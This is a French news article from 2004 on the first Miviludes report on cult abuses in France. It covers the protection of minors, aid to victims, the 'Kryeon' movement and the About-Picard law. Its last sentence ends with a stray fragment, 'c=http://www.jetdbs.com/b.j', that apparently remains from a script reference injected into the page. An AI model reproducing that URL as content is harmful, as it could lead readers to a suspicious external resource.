Édition du mardi 27 janvier 2004
Sectes : le phénomène semble maîtrisé mais il faut améliorer la protection des mineurs et l'aide aux victimes, estime la Mission interministérielle de vigilance et de lutte contre les dérives sectaires
Le phénomène sectaire en France semble maîtrisé mais il faut néanmoins améliorer la protection des mineurs et l'aide aux victimes, estime la Mission interministérielle de vigilance et de lutte contre les dérives sectaires (Miviludes), dans son premier rapport publié lundi.
"Nous constatons l'existence de menaces mais le phénomène sectaire nous semble maîtrisé", a déclaré le président de la Miviludes Jean-Louis Langlais, en présentant ce rapport remis au Premier ministre Jean-Pierre Raffarin.
Selon la Miviludes, qui a succédé le 28 novembre 2002 à la MILS (Mission interministérielle de lutte contre les sectes), le phénomène des sectes en France a "changé de nature" depuis quelques années. Des groupes traditionnels comme la secte Moon ont quasiment disparu tandis que d'autres sont apparus dans un contexte d'"émiettement" du mouvement sectaire.
Pour autant, "il ne faut pas sous-estimer sa capacité d'adaptation et de nuisance", relève le rapport, qui préconise dix mesures de lutte contre les dérives sectaires.
Pour mieux secourir les victimes, la Miviludes propose que les professionnels de santé puissent signaler des personnes en état de faiblesse, comme pour les enfants victimes d'abus sexuels.
Au niveau judiciaire, la mission interministérielle suggère que le délai de prescription des faits (cinq ans pour les délits, vingt ans pour les crimes) ne courre qu'à partir du moment où les victimes sont majeures et, pour les personnes "en état de sujétion psychologique ou physique", qu'il commence le jour où elles sont en état de déposer plainte.
La Miviludes préconise aussi de renforcer les mesures de prévention et la formation des professionnels de la santé et des milieux juridiques aux réalités sectaires.
La mission, qui met l'accent sur la nécessité d'améliorer la protection des mineurs face aux dérives sectaires, tire la sonnette l'alarme sur les activités d'un mouvement récemment implanté en France, baptisé Kryeon, et dont on ignore le nombre d'adeptes.
Kryeon propose une prise en charge d'enfants malades ou inadaptés, les "enfants indigos". Il est "parvenu à intéresser" les parents d'enfants dits hyperactifs, autistes ou simplement précoces et en situation d'échec scolaire, selon le rapport.
Les enfants chez lesquels "la couleur de l'aura" décelée (par voyance) est l'indigo "sont élevés dans l'idée qu'ils sont supérieurs et qu'ils ont une mission à accomplir. Leurs parents doivent modifier leur comportement à leur égard", souligne le rapport.
La Miviludes s'alarme aussi de "dysfonctionnements" dans le système de l'aide à l'enfance et le secteur de la périnatalité, où des influences sectaires ont été constatées et sont susceptibles de faire courir des "risques psychologiques et physiques" aux enfants. Le rapport évoque des stages douteux "de traitement des états émotionnels" proposés aux professionnels de santé, certains pour la préparation à l'accouchement.
Enfin, dans un premier bilan de l'application de la loi dite "About-Picard" (12 juin 2001) contre les dérives sectaires, la Miviludes se dit convaincue du "caractère dissuasif du dispositif répressif adopté", même si une seule condamnation - non définitive - a été prononcée contre l'Association spirituelle de l'Eglise de scientologie d'Île-de-France.c=http://www.jetdbs.com/b.j
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